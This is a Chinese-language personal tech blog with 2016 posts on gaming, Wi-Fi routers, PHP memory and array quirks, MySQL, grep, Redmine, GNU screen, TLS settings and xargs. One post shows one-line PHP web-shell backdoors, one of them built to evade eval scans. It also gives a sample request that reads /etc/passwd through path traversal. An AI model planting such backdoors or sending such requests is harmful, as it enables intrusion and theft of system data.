2016/11/11

The Division 1.4 版感想

上個月看到 Division 的 1.4 更新,針對不少平衡性做了調整,好奇便抓下來實際體驗一下有什麼差別。

我是 solo 玩家,以下僅是一個人玩的時候發現的改變:
  • 任務變的較為多變,除了主線任務可以跑以外,還有一些每日任務、掃蕩任務可以跑,但是任務的跑法還是一致。
  • 隨機事件變多,一般地圖上更容易遇到敵人,不像以前走了半小時只會被狗吠。
  • 裝備掉落的機率增加。以前打金閃閃才有機會掉裝備,現在連一般的敵人也會掉,偶爾也會掉落黃裝。
  • 套裝的設計,看起來刻意讓玩家的特質差異變大,但這些特性通常還是要多人連線才比較有機會顯現出優點,單人玩還是看運氣,或是花錢改裝備。
  • 世界等級制度,感覺是學暗黑,不過單人玩家應該比較吃香,可以挑和自己等級不會差太多的任務來解
至於暗區,還是老樣子,怪物等級高出太多,連從安全區域剛出去都會慘死。另外 Ubisoft 還是沒有去處理高等玩家問題,因此低等玩家最好還是不要玩暗區,進去沒被敵人打死,多半也是被高等玩家虐死搶裝備而已。

暗區等級 21,被四名 80 等的玩家虐

2016/11/05

ASUS AC88U 上線

ASUS AC88U 讓我覺得還蠻滿意的,天線的覆蓋率頗高 (功率可以從管理介面調整),特殊的功能設定起來也很輕鬆。

但覺得有一些比較不喜歡的功能:
  • 內建 Trend 的網路安全偵測 (我比較希望有 honey pot)
  • Game Boost (WTFast) - 要另外註冊帳號,看起來是偵測網路行為,再透過第三方服務走比較順的 route
  • 這台體積好大啊,最長邊有 30cm
  • 即使什麼服務都不啟動,在插電沒有使用的情況下,功率大約是 14w,機體溫度就有點高了

過一陣子有空,把機器全部接上去做個壓力測試,但現在從管理介面來看,我應該打不爆 XD

2016/10/31

封箱文 Netgear AC3200 R8000

家裡的 Asus RT-N16 的封包處理速度開始跟不上設備的擴增,現在網路流量高一點,無線網路就開始抽筋、甚至直接斷線。所以開始尋覓高一階的網路設備。


這次看上的是 Netgear AC3200 R8000,主要是有傳說中超大的覆蓋路,還有 smart connect 可以對 mobile 設備到 AP 這段做自動負載平衡。



這台應該是我看過最大台的 Wifi AP router,最長邊大約有 30cm,原本擺 RT-N16 的位置根本放不下。開機以後 2.5G + 5G x 2 全開,號店功率大約 12w。

在設定 R8000 時,可以同時開啟二個不同頻斷的 5G SSID,選擇所在地為「臺灣」時,第一個 5G chaneel 被限制在 40 附近,第二個 5G chennel 則是在 140 左右。

查過 NCC 5G 開放的頻率以後,就會知道 R8000 5G 第一組頻段在台灣很多無線設備根本不支援,開起來也沒有用。若選擇 smart connect 技術,將二個訊號發射器合併起來使用時,頻段又被現在在 channel 30 附近,台灣的無線網路設備根本之支援嘛,相當於 smart connect 完全派不上用場。

另外一個我有點在意的是無線訊號的覆蓋率,我用手機裝 inSSIDer 來觀察訊號強度,把二台 RT-N16 和 Netgear R8000 放在房間裡,隔了一道牆到客廳觀察訊號強度,二台的訊號強度幾乎一致。

雖然可以刷 DD-WRT 來繼續使用,但是訊號不強,其實對我來說也沒什麼留下來的說服力。於是就先退貨了。

網路上很多也 R8000 多好多好的文章,我這邊就只留下我個人不滿的幾個點。剩下交給各位客官自己判斷了。


Ref:

2016/10/23

PHP copy-on-write 特性

「copy on write」這個特性的意思是,在 variable 在沒有異動的時候,不會在記憶體中 re-allocate 一個新的區塊來存放資料,只有在被更新、修改或刪除資料時,才會另外將異動過的資料存放到記憶體其他區域。

剛看到時自己寫不知道這是什麼神奇的東西,看實例比較快。

先建立一個超級大的檔案 huge.log:
$content = file_get_contents('huge.log');

// 818.4 MB
echo sprintf("%.1f MB\n", memory_get_peak_usage() / 1024 / 1024);

建立一個 function,這個 function 什麼事都不做,直接回傳我們傳進去的 $content:
$content = file_get_contents('huge.log');

function reply($content)
{
    return $content;
}

reply($content);

// 818.4 MB
echo sprintf("%.1f MB\n", memory_get_peak_usage() / 1024 / 1024);

well ... 我以前原本以為 pass by value,會另外將 variable clone 一份供 function 內部使用,但上面的 script 中呼叫了 reply() 以後,記憶體用量並沒有增加,所以將變數傳進 function 時,並沒有 clone 一份新的出來。


將原本的 reply() 稍做調整,在 return 之前新增一點東西到 $content 中:
function reply($content)
{
    return $content . 'some more';
}

reply($content);

// 1636.6 MB
echo sprintf("%.1f MB\n", memory_get_peak_usage() / 1024 / 1024);

reply() 中對 $content 加了一些新的資料,這時候最大記憶體使用量就變為原來的 2 倍,很明顯 PHP 在記憶體 alloc 新的區塊來存放被修給過的 $content。所以「copy on write」的意思,就是這個資料被 write 時,PHP 才會要新的記憶體 (copy) 來存放有被修改過的資料。



處理大型資料時,可以利用這個特性來節省記憶體使用量。

例如:decorator() 這個 function 要對一個大型陣列的資料做處理:
function decorator($data)
{
    $sum = 0;
    foreach ($data as $item) {
        $sum += $item;
    }
    $data['average'] = $sum / count($data);
    $data['sum'] = $sum;

    return $data;
}

上面的 function 因為會修改 $data 的內容,所以 PHP 會 clone 一個 $data 再來做修改。

改成以下的寫法:
function decorator($data)
{
    $sum = 0;
    foreach ($data as $item) {
        $sum += $item;
    }

    $change = [
        'average' => $sum / count($data),
        'sum' => $sum,
    ];

    return $change;
}

foreach (decorator() as $key => $val) {
    $data[$key] = $val;
}

在 decorator() 並不會動到 $data 的內容,所以不需要 clone $data,而是在 function 執行結束以後,直接對 $data 做修改。這樣只需要多儲存 $change 陣列,和後續的處理動作,而不會讓使記憶體用量 double。

2016/10/20

WD 高雄服務中心地點更換

之前 WD 的特約服務中心是在 SET 復得科技那邊,但今天要送修硬碟時才發現 SET 已不再代為服務,地點改到雷德硬碟資料救援那邊去。

走路看到廣告招牌才知道這件事情,然而 WD 官方網站則完全找不到任何訊息,實在很不爽。

so ... 2016/07/01 以後,WD 的服務中心改至雷德硬碟資料救援

地址:高雄市三民區建國二路152號
營業時間:請參考公司網站說明

Synology 的套件庫及管理工具 ipkg

一直以為 Synology 的 DSM 上面,只有預設的套件管理工具和社群套件可以安裝使用,但這實在不夠力。

昨天因為 S.M.A.R.T. 檢測失敗 (但也沒寫問題在哪裡),所以只好找 badblocks 來手動測試。badblocks 一次市要跑數個小時的,若因為網路不穩斷線會導致 process 被中斷,只能重跑,至少要裝個 session / screen manager 來支援 (我習慣用 GNU screen)。

後來搜尋後找到 ipkg 這項套件管理工具,安裝完畢以後可以用類似 ubuntu aptitude 的操作方式來安裝套件。

常用工具都已經有包好可以直接下載使用,像是 htop、screen 等等,可以透過 ipkg search / install 來使用。binary 預設放在 /opt/bin 底下,再調整一下 PATH 即可直接呼叫。


Ref:

2016/10/15

增加 MySQL insert 速度的撇步

一次要新增大批資料到 MySQL 時,就會 MySQL 吃 CPU 又卡 I/O wait,這個時候如果沒時間吃下午茶的話實在會有點不爽 (?)

假設今天有個 table 長這個樣子:
mysql> desc users;
+--------------+---------------------+------+-----+---------+-------+
| Field        | Type                | Null | Key | Default | Extra |
+--------------+---------------------+------+-----+---------+-------+
| id           | bigint(20) unsigned | NO   | PRI | NULL    |       |
| email        | varchar(200)        | YES  |     | NULL    |       |
| display_name | varchar(500)        | YES  |     | NULL    |       |
| reg_date     | int(10) unsigned    | YES  |     | NULL    |       |
| last_login   | int(10) unsigned    | YES  |     | NULL    |       |
| delete_at    | int(10) unsigned    | YES  |     | NULL    |       |
+--------------+---------------------+------+-----+---------+-------+

登入、使用者管理等動作,我們會為以下幾個欄位加上 index 以加快查詢速度:
  • email
  • reg_date
  • last_login
  • delete_at

這個時候我們新增一筆資料時,MySQL 大概會做幾個動作:
  1. 新增一個 row
  2. 更新 index
    1. 更新 email index
    2. 更新 reg_date index
    3. 更新 last_login index
    4. 更新 delete_at index

所以如果只是把新增一筆資料,事情最多的不是建立一個 record,而是更新所有的 index。假設要新增的資料有 10000 筆,新增資料的 I/O 就當作 10000 次好了,更新 index 就另外再增加 40000 次 I/O。

若這 10000 筆資料是一次處理完,且不打算中斷,是否有發法可以減少 index 處理的次數?答案是 transaction。

當 10000 個 insertion 放在同一個 transaction 時,MySQL 會在 insertion 確認成功以後再來一次 update index。也就是說原本 update index 跑 40000 次,現在只需要跑 4 次。

由於 transaction 會造成 lock,新增資料前可以先試試看一個 transaction 要新增幾個 record,lock 的時間才不會影響到其他服務的運作。

ref:

2016/10/10

塔塔加 10 分鐘遊


本來打算連假走塔塔加抒發一下最近累積的壓力,不過天公不做美,連續下了幾天的雨,到了塔塔加遊客中心以後就決定往回走了。

由於下午的關係,阿里山到塔塔加的路並不好走,中途有部份地段有落石,也有路基不穩的狀況,建議上山之前還是要注意一下道路狀況。

塔塔加遊客中心,除了有賣紀念品以外,也有阿里山生態的教育影片,二樓則有餐廳。餐廳主要是以桌菜為主,雖然有單點但價位都不低,倒是 200 元的單人套餐份量和品質都很棒。

塔塔加遊客中心 200 元的單人套餐


2016/09/28

電玩感想

最近 No Man's Sky 以很驚人的速度,突破了 Steam 自己看過有史以來最低評價:9%。


網路上大多的評論是廣告不實,和預告片出來的畫面實在差太多了 XD

個人大概是對開放世界情有獨鍾,玩得倒是挺開心的。至少 No Man's Sky 和 Snake 打殭屍比起來實在好太多了。

2016/09/27

grep 時保留前後 N 行內文

一般 grep 只會將出現關鍵字的那一行文字顯示出來,例如:

johnroyer@box:~/logs$ zgrep 'parse' *gz
2016-02-27.log.gz:[2016-02-27 12:00:35] local.INFO: DOMDocument cannot parse XML: Premature end of data in tag html line 2
2016-02-27.log.gz:[2016-02-27 12:00:36] local.INFO: DOMDocument cannot parse XML: Premature end of data in tag html line 2
2016-02-27.log.gz:[2016-02-27 12:01:08] local.INFO: DOMDocument cannot parse XML: Premature end of data in tag html line 2
....

但有時顯示出來的訊息只是 function call stack trace 的其中一行,單看這一行無法理解到底發生了什麼事情。

遇到這種情況時,可以透過參數「-A」和「-B」來設定保留前後文:

johnroyer@box:~/logs$ zgrep 'Exception' *.gz -A 5 -B 2
[2016-05-29 23:41:22] production.INFO: RuntimeException: https://theinitium.com/newsfeed/
[2016-05-29 23:41:22] production.INFO: DOMDocument cannot parse XML: PCDATA invalid Char value 8
[2016-05-29 23:41:23] production.ERROR: exception 'RuntimeException' with message 'Invalid host label, check its content' in /home/segm/prod/www-crawler/vendor/league/url/src/Components/Host.php:164
Stack trace:
#0 /home/segm/prod/www-crawler/vendor/league/url/src/Components/AbstractSegment.php(47): League\Url\Components\Host->validate('rss_Content.jsp')
#1 /home/segm/prod/www-crawler/vendor/league/url/src/Components/AbstractSegment.php(39): League\Url\Components\AbstractSegment->set('rss_Content.jsp')
#2 /home/segm/prod/www-crawler/vendor/league/url/src/Components/Host.php(72): League\Url\Components\AbstractSegment->__construct('rss_Content.jsp')
#3 /home/segm/prod/www-crawler/vendor/league/url/src/AbstractUrl.php(226): League\Url\Components\Host->__construct('rss_Content.jsp')
.....


上面的範例是關鍵字前保留 2 行,往後保留 5 行。

2016/07/16

Redmine booting up with Thin

以前在 FreeBSD 上找不到什麼比較好的 Redmine 啟動方法,當時找到最好的解法是在 Nginx 上面安裝 Passenger 將 Request 轉給 Redmine 執行。

但 passenger 需要在 compile time 手動將 module 編譯進去,若遇到 Nginx 版本更新,還要在手動為了 passenger 設定一次,實在很麻煩。

後來終於找到比較簡單的方法,就是在 Redmine 的 GemFile 加上「Thin」:
gem "rails", "4.2.5.2"
gem "jquery-rails", "~> 3.1.4"
gem "coderay", "~> 1.1.0"
gem "builder", ">= 3.0.4"
....
gem "roadie-rails"
gem "thin"

之後 bundler 安裝時就會自動把對應的 thin 版本拉下來。再來執行「thin config -C config.yml」便會建立一個預設的設定檔:
---
chdir: /home/zeroplex/redmine
environment: development
address: 0.0.0.0
port: 3000
timeout: 30
log: /home/zeroplex/redmine/log/thin.log
pid: tmp/pids/thin.pid
max_conns: 1024
max_persistent_conns: 100
require: []
wait: 30
threadpool_size: 20
daemonize: true

將設定檔的「chdir」設定成 Remine 跟目錄,再來執行「thin start -C config.yml」就能把 Redmine 跑起來了。

若機器上只有 thin 在跑 web server,那就讓他處理外部連線就好。若原本就有其他 web server 像是 Nginx 之類的,可以參考官網說明,設定 proxy 在 web server 把 request 轉給 thin。

2016/07/15

Helper for PHPUnit path detection in bash

較新的 PHP 專案都會在 composer require_dev 自帶 phpunit,這個時候要執行 phpunit 都應該要使用專案中設定的 phpunit 版本:
$ cd /path/to/repository
$ vendor/bin/phpunit

若該專案沒有設定 phpunit 時,才使用系統上,或是 composer global 的 phpunit:
$ cd /path/to/repository
$ ~/.composer/vendor/bin/phpunit  # or "phpunit" for system global

不過這實在有點麻煩,所以乾脆寫 script 處理掉:
phpunit() {
   REPO_PHPUNIT=`pwd`"/vendor/bin/phpunit"

   if [ -e $REPO_PHPUNIT ]; then
      echo "... Run by vendor/bin/phpunit ..."
      $REPO_PHPUNIT $*
   else
      ~/.composer/vendor/bin/phpunit  $*
   fi
}

這樣一來,只要執行 phpunit 就會自動去檢查專案底下是否有 phpunit 可以用;若沒有則自動使用系統的 phpunit。

2016/06/26

在 gnome-teminal 使用 Ctrl + arrow 切換 GNU screen 視窗

這邊標題應該下的不是很好,其實問題和 gnome-teminal 應該是沒什麼關係的。

在 windows 透過 pietty (快換 putty 吧) 連上 server 時,都是直接用 Ctrl + 左/右 來切換 windows, .screenrc 設定方式如下:
bindkey \033[C next
bindkey \033[D prev

不過當 client 是 Ubuntu 時,在 gnome-terminal 操作時,Ctrl + arraow 卻完全沒有效果。後來友人提示在 screen 底下可以先 ctrl + V,再按下 key binding,screen 會把收到的 key code 顯示出來,方便 debug。嘗試了不少種組合都沒有成功。

當 Google 第一頁搜尋結果無法找到方法時,只好往第二頁找屍體。慢慢看到有人提到需要修改 /etc/inputrc 的設定
# allow the use of the Home/End keys
"\e[1~": beginning-of-line
"\e[4~": end-of-line

# allow the use of the Delete/Insert keys
"\e[3~": delete-char
"\e[2~": quoted-insert

....

# mappings for Ctrl-left-arrow and Ctrl-right-arrow for word moving
"\e[1;5C": forward-word
"\e[1;5D": backward-word
"\e[5C": forward-word
"\e[5D": backward-word
"\e\e[C": forward-word
"\e\e[D": backward-word

設定檔中間可以看到 Ctrl + arrow 已經被轉成 forward-word 等操作,把那幾行註解掉即可。

ps. 除了 ssh client 這邊的 inputrc 需要修改外,server side 若有 inputrc 也需要一起修改,不然 client 送過去的 key binding 還是會被 server 改掉。

2016/06/10

PHP Notice in testing by PHPUnit

這邊先做個錯誤示範,以下的程式執行時,會因為對一個不存在的 array index 取值:
class Worker
{
    public function work()
    {
        $arr = [];

        $elem = $arr['nonExist'];
    }
}

執行時會出現以下錯誤訊息:
PHP Notice:  Undefined index: nonExist in /home/zero/tmp/phpunit/Worker.php

PHPUnit 執行 unit test 時會自動將 notice / warning 都轉成 exception,使用者變可以透過「@expectedException」來檢查確認是否有發生預期的錯誤:
class WorkerTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @expectedException PHPUnit_Framework_Error_Notice
     */
    public function testWorker()
    {
        $worker = new Worker();
        $worker->work();
    }
}

unit test 執行結果:
zero@zero-lab:~/tmp/tests$ ./phpunit 
PHPUnit 5.5-gc2e4cf1 by Sebastian Bergmann and contributors.

.                                                                   1 / 1 (100%)

Time: 202 ms, Memory: 3.00MB



但是當 array 取值前後加上了 try ... catch 時會發生什麼事呢?
class Worker
{
    public function work()
    {
        try {
            $arr = [];

            $elem = $arr['nonExist'];
        } catch (Exception $e) {
            // do something
        }
    }
}

再來執行一次 unit test:
zero@zero-lab:~/tmp/tests$ ./phpunit 
PHPUnit 5.5-gc2e4cf1 by Sebastian Bergmann and contributors.

F                                                                   1 / 1 (100%)

Time: 27 ms, Memory: 3.00MB

There was 1 failure:

1) WorkerTest::testWorker
Failed asserting that exception of type "PHPUnit_Framework_Error_Notice" is thrown.

phpunit 顯示錯誤訊息,原本預期會收到「PHPUnit_Framework_Error_Notice」但現在確沒有收到,造成 assertion failed。

這時若在 catch 中將「$e」dump 出來,會發現 PHPUnit_Framework_Error_Notice 被程式中的 try ... catch 抓到了:
object(PHPUnit_Framework_Error_Notice)#20 (8) {
  ....
}

個人覺得這個行為不是非常直覺,在正常行況下,PHP notice 不會被 try ... catch 抓到,而會正常執行下去,但當執行測試時,卻會因為 phpunit 將 notice / warning 自動轉成 exceptions 而導致程式的 work flow 與原先的設計不同,並造成測試時的警報。

目前還沒有想到什麼方法可以避開這個問題,若真要解決這個問題的話,最好的辦法,應該還是在實作時就避免出現 PHP notice 或 warning。

2016/05/22

不需要 PHP eval() 即可執行使用者自訂動作的寫法

以往 PHP 後門都用很簡單的語法去撰寫,例如:
echo eval($_GET['action']);

不過由於 eval() 這個寫法實在是太常見了,若是站方手動做掃描實在很容易被發現。之前看到一個新的寫法,利用 PHP variable functions 的語法來製作後門:
echo $_GET['a']($_GET['b']);

惡意人士可以在網址上使用參數來取得需要的資訊:
http://my.target.site/backdoor.php?a=file_get_contents&b=../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin .....

上面這語法沒有使用到 PHP 內建的任何函式,在加上 GET 參數的名稱可以任意設定,用關鍵字搜尋的方法是很難抓出來的。

只能說想到這種寫法的人實在很有創意 XD

PHP array key 的資料型態

之前因為 array_merge() 花了很久的時間 debug,這次發現其實不只 array_merge() 會需要注意資料型態的問題,其他 statement 也要注意。

這次遇到是因為使用 time 當作 array 的 key 時發現的:
$timeTable = [];
$timeTable['0800'] = '早上';
$timeTable['1200'] = '中午';
$timeTable['2000'] = '晚上';

取直時發現資料型態和 assign 時不一樣,可以被轉成數字的全部變成數字了:
array(3) {
  ["0800"]=>
  string(6) "早上"
  [1200]=>
  string(6) "中午"
  [2000]=>
  string(6) "晚上"
}


原因是 PHP array 的預設行為,是會自動對 key 作 type casting。可被判斷成數值的 (is_numeric()) 都會自動被轉為 int。所以撰寫時要注意,如果 array 的 key 若需要避免被 casting 時,必須手動加上一些字元讓 is_numeric() 無法將其判斷為數字。

以上面的例子,可以將時間加上「:」
  • 08:00
  • 12:00
  • 20:00


Ref:

2016/05/15

PHP namespace

PHP 可以自行定義程式中定義的方法、類別所屬的 namespace,但是若在 namespace 定義之前就先就先寫了其他 statement則會出現錯誤訊息。例如以下的程式:
<?php

$a = 1;

namespace Zeroplex;

執行後變會出現錯誤訊息:
Fatal error: Namespace declaration statement has to be the very first statement in the script ....

主要是因為變數、函式、類別都可以有自己所屬的 namespace,若沒有事先定義該程式所屬的 namespace,PHP 則會造成混淆而發生錯誤。

總之,namespace 的定義,直接方在 open tag 之後的第一行,避免這類問題發生。

2016/03/24

aptitude update 找不到 GPG key 的處理

執行的 aptitude update 以後,出現錯誤訊息:
W: GPG error: http://ppa.launchpad.net trusty InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 00A6F0A3C300EE8C
W: GPG error: http://ppa.launchpad.net trusty InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 4F4EA0AAE5267A6C

可以透過下列指令去 import keys:
sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com {KEY}

例如上面的錯誤,可以這樣 import key:
sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 00A6F0A3C300EE8C
sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 4F4EA0AAE5267A6C

reference: How do I fix the GPG error “NO_PUBKEY”?

2016/03/17

Ubuntu PPA for new version of Git

舊版本的 git 有安全性漏洞,需要升級到 2.7.1 以上版本
server and client side remote code execution through a buffer overflow in all git versions before 2.7.1 (unpublished ᴄᴠᴇ-2016-2324 and ᴄᴠᴇ‑2016‑2315)


Ubuntu 14.04 的 git 還在 1.x,只好靠 PPA 抓新版本:
sudo add-apt-repository ppa:git-core/ppa
sudo aptitude update && sudo aptitude upgrade

2016/03/02

SSLv2 可能也不安全了

More than 11 million HTTPS websites imperiled by new decryption attack
http://arstechnica.com/security/2016/03/more-than-13-million-https-websites-imperiled-by-new-decryption-attack/

解釋:
最新的 SSL connection 攻擊:DROWN attack
https://blog.gslin.org/archives/2016/03/02/6381/


目前自己的機器好像沒受到影響,被份一下 nginx 的 HTTP 設定 (從多方搜尋來得設定值):
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA';
ssl_prefer_server_ciphers on;


若不清楚自己的 server 設定是否安全,可以透過 SSL Labs 提供的服務,來檢查是否有什麼潛在的問題。

2016/02/23

準備離開 StartSSL

Why I stopped using StartSSL (Hint: it involves a Chinese company)
https://pierrekim.github.io/blog/2016-02-16-why-i-stopped-using-startssl-because-of-qihoo-360.html

由於 cert 被扔到大陸機房去,所以還是換家 SSL provider 比較安全一點。

噗浪上有不少朋友提供 Let's Encrypt 的解決方案,除了「root can only help」以外,好像沒什麼奇怪的地方。另外 JoeHorn 寫了一個全自動 renew 的 script,假日的時候來玩玩看 ~

2016/02/04

xargs -P 在 stdout 可能會遇到 race condition

爬 log 發現 log 格式不正確,而且還是經常發生,而手動追蹤時又找不到錯誤在哪裡:
find . -name '*2016-01*.log.gz' | xargs -I'{}' -P 4 zgrep keyword {} | awk ...

做了測試以後才發現 xargs -P 時,各個 process 只要有 stdout 就會和其他 process 打架,造成資料還沒寫完就被其他 process 插單,導致最後出來的資料不正確。



先建立二個檔案,儲存不同的二個資料。

0.test.log (每行 50 字):
.................................................
.................................................
.................................................
....

1.test.log (每行 50 字):
1111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111
...


接下來使用 xargs 來 echo 這二個檔案內容:
find . -name '*test.log' | xargs -I'{}' -P 2 cat {} > output.xargs.log

接下來寫個 script 來檢查 output.xargs.log 的內容是否都正確:
for LINE in `cat output.xargs.log `; do
    if [ 50 -lt ${#LINE} ]; then
        echo $LINE
    fi
done

結果會發現 output 有一行超過 50 個自得情況發生:
111111111111111111111111111111111111.................................................

而相同的情況下,parallel 就不會有相同的情況發生:
find . -name '*test.log' | parallel -j 2 cat {} > output.xargs.log

原因是 parallel 會將 jobs (process) 的 output 先 buffer 起來,等到整個 job 都結束以後在一起送到 stdout。若使用上述的範例改用 parallel 的操作來測試的話,可以發現不同 job 的 output 有被完全區隔開來,沒有混在一起:

...
.................................................
.................................................
.................................................
1111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111
...


總之,以後用到 xargs -P 時,要小心 race condition ... (暈)